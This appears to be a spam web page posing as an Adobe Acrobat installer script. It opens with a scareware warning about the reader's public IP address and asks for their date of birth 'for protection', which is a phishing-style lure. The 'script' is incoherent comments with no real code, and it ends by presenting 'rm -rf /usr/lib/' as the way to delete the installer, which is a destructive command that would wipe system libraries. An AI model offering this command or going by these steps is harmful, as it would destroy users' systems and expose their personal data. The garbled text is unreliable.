Published 10/13/2018 dl.revi-sf.com Warning: Your IP address is public! Your Internet provider, government, or hackers can very easily track all your activity. Enable protection by verifying the accuracy of your date of birth. #!/bin/bash. # This script automates the Adobe Acrobat Professional / Acrobat Reader Installer. # This will prompt you for "confirmation", you are just simply confirming that this is what you want to do. # The user agent is an indicator of your browser. You can access your user agent from your browser's "tools" or "about" menus. # The steps needed for the Acrobat Reader Installer are found here: # Before running the install, please ensure your system meets the minimum requirements listed here: # # Once the files are downloaded, we will start our main script. # The first step is to process the output of the zip file extract on disk. # If you see output that is identical to what is on the zip file list you have correctly extracted the files. # If any output says "Invalid input"? This is simply the installer, it has requested you to do something it doesn't know how to handle. # If you have confirmation of the files, you can run the install. # Note: If you have any questions or concerns, do not hesitate to ask. # You need to reboot your system after the install. # You can verify the install was successful by going to about:plugins in the browser's address bar. # To delete the installer, use the following: rm -rf /usr/lib/ 6d1f23a050
